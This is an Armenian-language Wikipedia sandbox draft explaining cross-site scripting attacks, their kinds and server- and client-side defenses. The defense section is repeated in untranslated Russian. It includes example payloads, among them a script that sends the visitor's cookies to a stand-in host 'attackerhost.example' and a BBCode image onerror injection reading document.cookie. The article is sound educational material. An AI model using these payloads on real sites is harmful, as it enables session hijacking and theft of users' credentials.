Մասնակից:Schahbazian/Ավազարկղ Ա

«XSS» (անգլ.՝ Cross-Site Scripting — միջկայքային սկրիպտինգ) վեբ-համակարգի վրա հարձակման տեսակ, որը կայանում է վեբ-համակարգի կողմից տրվող վնասաբեր կոդով (որը կգործի օգտատիրոջ համակարգչի վրա այդ էջը բացելու դեպքում) էջի տեղադրման և այդ կոդի ու չարագործի (հակեր) վեբ-համակարգի փոխգործունեության մեջ։ Համարվում է «Կոդի ներդրում» հարձակման տարատեսակ։

Նման հարձակումների առանձնահատկությունը կայանում է նրանում, որ վնասաբեր կոդը կարող է օգտագործել վեբ-համակարգում օգտատիրոջ հեղինակազորությունը մուտքի ընդլայնման կամ օգտատիրոջ հեղինակային տվյալները ստանալու համար։ Վնասաբեր կոդը կարող է դրված լինել էջում ինչպես վեբ-համակարգի խոցելիության, այնպես և օգտատիրոջ համակարգչի խոցելիության միջոցով։

Տերմինի համար օգտագործվում է«XSS» հապավումը, որպեսզի «CSS» հապավումն կրող ոճերի կասկադային աղյուսակների հետ խառնաշփոթություն չառաջանա։

XSS-ը OWASP 2013-ի վեբ-համակարգերի հիմնական ռիսկերի ռեյտինգում 3-րդ տեղն է զբաղեցնում։ Երկար ժամանակ ծրագրավորողները դրանց համապատասխան ուշադրություն չեն դարձրել՝ համարելով ոչ վտանգավոր ։ Սակայն այդ կարծիքը սխալ է․ էջում կամ HTTP-Cookie-ում կարող են շատ խոցելի տվյալներ լինել (օրինակ՝ օգտատիրոջ ID-ն կամ վճարումերի փաստաթղթերի համարանիշերը), իսկ այնտեղ, որտեղ CSRF-ից պաշտպանություն չկա, հարձակվողը կարող է կատարել ցանկացած տեսակի գործողություն, որոնք թույլատրված են օգտատիրոջը։ Միջկայքային սկրիպտինգը կարող է օգտագործվել DoS տեսակի հարձակման անցկացման համար։

Տեղեկատվական ինֆորմացիա

Ապահովությունը համացանցում իրականացվում է մի շարք մեխանիզմների միջոցով, այդ թվում կարևոր կոնցեպտով, հայտնի որպես՝ դոմենի սահմանափակման կանոն։ Այս կանոնը թույլատրում է մի կայքի( https://mybank.example.com) էջերում գտնվող սցենարներին մուտք դեպի միմյանց մեթոդներին և հատկություններին, բայց կանխում է մուտքը մեծամասնության մեթոդներին ու հատկություններին՝ այլ կայքի էջերի( https://othersite.example.com) համար։

Միջկայքային սկրիպտինգը օգտագործում է վեբ-ծրագրերում, սերվերներում (կամ նրանց վերաբերող համակարգային պլագիններում) հայտնի խոցելիությունը։ Դրանցից մեկն օգտագործելով՝ չարագործը վնասակիր կոնտենտը տեղադրում է արդեն ջարդված կայքի բովանդակության մեջ։ Արդյունքում, օգտատերը ստանում է միացված կոնտենտ վեբ-բրաուզերում, որը ստացվել էր հուսալի աղբյուրից և, այսպիսով, գործում է այդ համակարգի համար տրամադրված կարգավորումներին համապատասխան։ Անհրաժեշտ սկրիպտը կարողանալով տեղադրել վեբ-էջում, չարագործը կարող է ստանալ մեծացված արտոնություններ վեբ-էջերի հետ աշխատանքի, cookies, և տվյալ օգտատիրոջ բրաուզերում պահպանվող տեղեկությունների նկատմամբ։

«Միջկայքային սկրիպտինգ» հասկացությունը սկզբնական շրջանում նշանակում էր փոխգործակցությունը խոցելի վեբ-ծրագրի և չարագործի կայքի միջև այնպես, որ հարձակման ենթարկվող դոմենի կոնտեքստում լիներ JavaScript-կոդ, որը նախապես պատրաստված էր չարագործի կողմից (արտացոլվող կամ պահպանվող XSS խոցելիություն)։ Աստիճանաբար սահմանումն իր մեջ սկսեց ներառել նաև կոդի տեղադրման այլ ձևեր, որոնք ավելի դիմակայուն էին և JavaScript-ի լեզուների (ActiveX, Java, VBScript, Flash, նաև HTML) հետ կապ չունեին՝ շփոթություն առաջացնելով տեղեկատվական ապահովության բնագավառում սկսնակների մեջ։ XSS խոցելիությունները գրանցված և օգտագործվում են 1990թվ․ կեսերից; Հայտնի կայքերը, որոնք տուժել են անցյալում, ներառում են սոց․ ցանցի այնպիսի կայքեր, որպիսիք Twitter, ВКонтакте, MySpace, YouTube, Facebook-ն  են։

Դասակարգում

Միջկայքային սկրիպտինգի հստակ դասակարգում գոյություն չունի։ Սակայն, փորձագետների մեծամասնությունը տարբերակում է առնվազն 2 տեսակի XSS՝ «արտացոլվող» («reflected XSS» или «Type 1») և «պահպանվող» («stored XSS» или «Type 2»)։

Ըստ վեկտորի

Արտացոլվող (ոչ մշտական)

Արտացոլվող խոցելիության վրա հիմնված հարձակումն այսօր համարվում է ամենատարածված XSS հարձակումներից։ Այս խոցելիություններն հայտնվում են, երբ վեբ-հաճախորդի տված տվյալները, ավելի հաճախ HTTP-հարցման կամ HTML ձևաչափով, կատարվում են անմիջապես սերվերային սկրիպտներով սինտակսային վերլուծության և տվյալ հաճախորդի արդյունքների ցուցադրման համար, ինչը խմբագրման ենթակա չէ։ Արտացոլվող XSS-հարձակումը աշխատում է, եթե օգտատերը անցնում է հատուկ պատրաստված հղումով։

Օր․՝

http://example.com/search.php?q=<script>DoSomething();</script>

Եթե կայքը չի էկրանեցնում անկյունային փակագծերը, փոխարկելով նրանց՝ «<» և «>»-ի, սկրիպտը կստանանք որոնման արդյունքների էջում։

Արտացոլվող հարձակումները, որպես կանոն, ուղարկվում են էլ․ փոստով կամ տեղադրվում են վեբ-էջերում։ URL խայծերը կասկածանք չեն առաջացնում, մատնանշելով հուսալի կայքի, սակայն, պարունակում են XSS վեկտոր։ Եթե վստահելի կայքը խոցելի է XSS վեկտորից, ապա անցումը հղումով կհանգեցնի նրան, որ տուժողի բրաուզերը կսկսի կատարել ներդրված սկրիպտը։

Պահպանվող (մշտական)

Պահպանվող XSS հարձակումն ավելի կործանարար հարձակման տեսակ է։ Պահպանվող XSS-ը հնարավոր է, եթե չարագործին հաջողվում է սերվիսում տեղադրել վնասակիր կոդ, որը կկատարվի ամեն անգամ՝ բրաուզերում բնօրինակ էջին դիմելու դեպքում։ Նմանատիպ խոցելիության դասական օրինակ են համարվում ֆորումները, որոնցում թույլատրվում է թողնել մեկնաբանություններ HTML ձևաչափով՝ առանց սահմանապակման, ինչպես նաև Веб 2.0 կայքերը (բլոգներ, վիկի, իմիջբորդ), երբ սերվերում պահպանվում են օգտագործողի տեքստերն ու նկարները։ Սկրիպտները տեղադրվում են այդ տեքստերում և նկարներում։

Հատված՝ ID-սեսսիայով բանալու գողացման կոդից։

<script>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</script>

DOM-մոդելներ

XSS-ը DOM-մոդելում առաջանում է հաճախորդի կողմում՝ JavaScript սցենարի տվյալների խմբագրման ժամանակ։ XSS-ի տվյալ տեսակը նման անուն է ստացել, քանզի իրականացվում է DOM (Document Object Model) -ի միրջոցով, ինչը կախում չունի պլատֆորմից և ծրագրային ինտերֆեյսի լեզվից, թույլատրելով ծրագրերին և սցենարներին մուտք ստանալ դեպի HTML պարունակությունը և XML փաստաթղթերին, ինչպես նաև փոփոխել նմանատիպ փաստաթղթի պարունակությունը, կառուցվածքն ու ձևակերպումը։ Ոչ կոռռեկտ զտման արդյունքում հնարավոր է հարձակման ենթարկվող կայքի DOM-ը ձևափոխել և հասնել կայքի կոնտեքստում JavaScript-կոդի իրականացմանը։

Օր․՝

<body>
<script>document.write(location.href);</script>
</body>

XSS-ի DOM-մոդելի օրինակ է баг -ը, հայտնաբերված 2011 թվականին՝ մի քանի JQuery պլագիններում։ XSS-ի DOM-մոդելի կանխարգելման մեթոդները ներառում են ավանդական XSS-ին բնորոշ միջոցներ, սակայն javascript-ի վրա իրականացմամբ և վեբ-էջին ուղարկելով․ մուտքի ստուգում և հարձակման կանխարգելում։ javascript-ի մի քանի ֆրեյմվորքեր ունեն այս և նմանատիպ հարձակումների դեմ, օր․՝ AngularJS, ներդրված պաշտպանողական մեխանիզմներ։

Ըստ սկրիպտի ներդրման ալիքի

Սխալները բրաուզերում

Երբ բրաուզերում սխալի պատճառով ուղղում են կայքը

Bugzilla, 2004 год. Որոշ բրաուզերներում (համենայն դեպս Internet Explorer -ում) URL’а տալու դեպքում

http://bugzilla.mozilla.org/enter_bug.cgi?
  <script>alert('foo');</script>

URL-կոդավորում տեղի չի ունենում

document.write(
   "<p>URL: " + document.location + "</p>");

և URL-ը էջում ներդնում է սկրիպտ։

Սխալների պատճառով բրաուզերը կարող է կատարել սկրիպտներ SVG-ում, խախտել Same Domain Policy կանոնը։ Դրանք լուրջ սխալներ են, որոնք հայտնաբերումից հետո արագ փակվում են, սակայն անցումային շրջանում գրեթե բոլոր Веб 2.0 կայքերը՝ ֆորումներ, վիկի, իմիջբորդեր, դառնում են վտանգավոր։ Եթե նման սխալ է հայտնաբերվել, խորհուրդ է տրվում, մինչև թարմացման դուրս գալը, օգտագործել այլ բրաուզեր։ Լինում են նաև ավելի թեթև սխալներ, որոնք հայտնվում են շատ առանձնահատուկ պայմաններում և խոշոր վնաս չեն հասցնում։ Նման սխալները կարող են տարիներով ուղղված չլինել և ավելի ձեռնտու է ուղղել կայքը, քան սպասել բրաուզերի թարմացմանը։

Էկրանեցնել անհրաժեշտ է բոլոր օգտագործվող տեքստերը

phpBB, 2002 год. Չնայած նկարների URL-ը ստուգվում է արձանագրությամբ (պրոտոկոլ) (թույլատրված է միայն http:), անձամբ URL-ը չի էկրանեցվում, և նմանատիպ տողով

[img]http://a.a/a"onerror="
   javascript:alert(document.cookie)[/img]

հնարավոր է օգտագործվող սկրիպտ մտցնել փաստաթուղթ։

HTML հատուկ նշանների էկրանեցման բացակայությունը

Ավելի հաճախ սխալներ հանդիպում են էջերում։ Որպեսզի բրաուզերը երաշխավորված չընդունի տողը որպես HTML թեգ, անհրաժեշտ է էկրանացնել 5 նշան՝ '"&<> ։ Սերվերը կարող է էկրանացնել ոչ բոլոր սիմվոլները (PHP-ի հայտնի թերությունը), կամ վեբ-ծրագրավորողը մոռանում է էկրանեցնել տեղը։

Ընդհանրապես տվյալների բազայում տեքստը պահպանվում է առանց էկրանացման և ամեն անգամ, երբ օգտագործվող տողերը տեղադրվում են HTML-ում, անհրաժեշտ է դրանք էկրանեցնել։ Օրինակ, երբ նկարի URL-ը էկրանեցված չէ, օգտատերը կարող է նմանատիպ մի բան անել՝

http://example.com/img.png" onmouseover="javascript:DoSomething();

Շատ կայքեր թույլատրում են ձևափոխել տեքստը ինչ-որ նշագրման լեզվի օգնությամբ (HTML, BBCode )։ Հաճախ լրիվ լեքսիկային վերլուծություն տեղի չի ունենում, այլ պարզապես կատարվում է ձևափոխում դեպի ավելի «ապահով» HTML՝ կանոնավոր արտահայտությունների միջոցով։ Դա հեշտացնում է ծրագրավորումը, սակայն պետք է լավ իմանալ, թե ինչ ճանապարհներով կարող է սկրիպտը ներթափանցել արդյունքային HTML-կոդ։

Ատրիբուտների զտման բացակայությունը և նրանց դերը թույլատրված թեգերում
Տիպիկ օրինակ է հղումը՝ <a href="javascript:DoSomething()">։ Անգամ, եթե ֆորումը թույլատրում է հղման տեղադրումը, պետք չէ բաց թողնել javascript: և data: պրոտոկոլները։

XSS չեն համարվում, բայց պակաս վնասատու չեն և մյուս հարձակումները․ հակերը կարող է հասցեի փոխարեն սերվեր մատնանշել, որը ունի նեղ ինտերնետ-ալիք, փոխարինելով նրա աշխատանքը հարցումների մեծ ալիքով, կամ նրա օգնությամբ կազմակերպել XSRF-հարձակում։

Էջի վերնագրում կոդավորման փոխարինումը

Ժամանակակից բրաուզերները փորձում են սահմանել էջի կոդավորումը ընթացքում և մեկնաբանել HTML-ը կոդավորմանը համապատասխան։ Այն դեպքում, երբ <title> թեգը դրված է <meta> թեգից առաջ և լրացվում է օգտագործվող տվյալներով, հակերը կարող է վնասատու html-կոդը տեղադրել UTF-7 կոդավորման մեջ, այսպիսով շրջանցելով այնպիսի նշանների զտումը, ինչպես < և ".։ Տվյալ խոցելիությունից պաշտպանվելու համար անհրաժեշտ է կոնկրետ մատնանշել էջի կոդավորումը մինչև ինչ-որ օգտագործվող դաշտեր։ HTML 5 -ը ուղղակիորեն արգելում է UTF-7 բրաուզերի աջակցումը, որպես պոտենցիալ վտանգավոր։

SQL-կոդի տեղադրման միջոցով

Եթե կայքը և՛ թույլատրում է SQL-կոդի տեղադրում, և՛ դուրս հանում БД-ի պարունակությունը առանց որևէ էկրանեցման (կա՛մ առանց իմանալու, կա՛մ БД-ում պահպանվում է պատրաստի HTML-կոդ, կա՛մ հեղինակը հաստատ գիտի, որ БД-ում «վատ» նշաններ չկան), հնարավոր է անցկացնել արտասովոր հարձակում։

SQL-կոդի տեղադրմամբ БД-ում գրանցում ենք «ուղարկված» էջ։ Եթե ինչ-որ մեկը БД-ի այդ տողին մուտք ստանա, ապա իր բրաուզեր կթափանցի վնասակիր սկրիպտ։ Լինում են հարձակումներ նաև առանց БД-ում HTML-ի պահպանման — СУБД-ն կվերադարձնի այն սկրիպտը, որը գրանցված է հարցման տեքստում։

Ըստ ազդեցության միջոցի Ակտիվ

Ակտիվ XSS հարձակումը ոչ մի գործողություն օգտատիրոջ կողմից չի պահանջում, ըստ վեբ-ծրագրի գործունեության տեսանկյունի։ Օրինակ՝

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

Տվյալ օրինակում ցուցադրված է մուտքագրման դաշտ, որում տեղադրված է ֆոկուսի առաջացման երևույթի մշակող՝ բուն հարձակման կոդը կատարող։ Բացի այդ, այս մուտքագրման դաշտի մոտ ակտիվացված է ֆոկուսի ավտոմատ տեղադրման հատկություն։ Այսկերպ ավտոմատ տեղադրվում է ֆոկուս, որը առաջացնում է հարձակման կոդը պարունակող՝ ֆոկուսի տեղադրման մշակողին։ Հարձակումը համարվում է ակտիվ և կատարվում է ավտոմատ, ինչը օգտատերից որևէ ակտիվություն չի պահանջում։

Պասիվ (ինքնավար)

Պասիվ XSS հարձակումը աշխատում է օգտատիրոջ կողմից որաշակի գործողության կատարման ժամանակ (ստեղնի սեղմում, մկնիկի շարժում և նմանատիպ բաներ)։ Օր․՝ <a href='a' onmouseover=alert(1337) style='font-size:500px'>

Օրինակը ցույց է տալիս հիպերհղում, որը յուրահատուկ կերպով գրավում է օգտատիրոջ ուշադրությունը, և/կամ նշանակալից տեղ է զբաղեցնում, ինչը կմեծացնի մկնիկի շարժի հավանականությունը, տվյալ դեպքում՝ խոշոր տառատեսակով։ Հիպերհղման մեջ տեղադրված է մկնիկի շարժման երևույթի մշակող, որն էլ հարձակման կոդն է պարունակում։ Հարձակումը համարվում է պասիվ, քանի որ չի գործում, իսկ հարձակման կոդը չի իրականցվում օգտատիրոջ մկնիկի շարժմանը սպասելու ընթացքում։

Պաշտպանության միջոցներ

Պաշտպանությունը սերվերի կողմից

• Ղեկավարող HTML-նշանների, JavaScript, CSS և URL-ի կոդավորում մինչև բրաուզերում տեղադրելը։ Մուտքի կարգավորումների ֆիլտրացման համար կարելի է օգտագործել հետևյալ գործողությունները՝ filter_sanitize_encoded (URL-ի կոդավորման համար), htmlentities (HTML-ի ֆիլտրացման համար)։

• Մուտքային տվյալների կոդավորում։ Օրինակ OWASP Encoding Project, HTML Purifier, htmLawed, Anti-XSS Class գրադարանների օգնությամբ։

• Ապահովության կոդի ձեռքով կամ ավտոմատ կանոնավոր վերլուծություն և ներթափանցման հավանականության ստուգում։ Հնարավոր է նման գործիքներով՝ Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy։

• Կոդավորման մատնանշում ամեն վեբ-էջում (օր․՝ ISO-8859-1 կամ UTF-8) մինչև որևէ օգտագործվող գաղտնագրի կիրառումը։

• cookies-ի անվտաննգության ապահովում, որը կարող է իրականացվել դոմենի սահմանապակման ճանապարհով և ընդունվող cookies-ի, TLS-ի օգտագործումով HttpOnly-ի կարգավորման տեղադրման ուղու համար։

• Content Security Policy վերնագրի օգտագործում, ինչը թույլատրում է կազմել ցուցակ, որում անցկացվում են ցանկալի աղբյոււրներ, որտեղից հնարավոր է բեռնել տարբեր տվյալներ, օրինակ՝ JS, CSS, նկարներ և այլ նմանատիպ բաներ։

Պաշտպանությունը հաչախորդի կողմից

• Բրաուզերի կանոնավոր թարմացում՝ մինչև նոր տարբերակը։

• Բրաուզերի համար ընդլայնումների տեղադրում, որոնք կստուգեն ֆորմի, URL, JavaScript и POST-հարցումների դաշտերը, և, եթե սկրիպտներ հանդիպեն, կիրառեն XSS-ֆիլտրներ դրանց մեկնարկի խափանման համար։ Նման ընդլայնումների օրինակներ են՝ NoScript-ը FireFox-ի , NotScripts-ը Chrome-ի և Opera-ի համար։

Защита на стороне сервера

• Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL), htmlentities (для фильтрации HTML).
• Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project, HTML Purifier, htmLawed, Anti-XSS Class.
• Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
• Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей.
• Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly, использованием TLS.
• Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита на стороне клиента

• Регулярное обновление браузера до новой версии.
• Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Chrome и Opera.

Գրականություն

• Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov XSS атаки: эксплуатация и защита = XSS Attacks: Cross Site Scripting Exploits and Defense. — Syngress, 2007. — 464 p. — ISBN 1597491543
• Paco Hope, Ben Walther Web Security Testing Cookbook. — O'Reilly Media, 2008. — 314 p. — ISBN 978-0-596-51483-9

Արտաքին հղումներ

• XSS FAQ (անգլ.)
• XSS шпаргалка (անգլ.)
• HTML5 Security Cheatsheet
• XSS-game от Google (անգլ.)
• Флэш-анимация о Cross-Site Scripting Attack (անգլ.)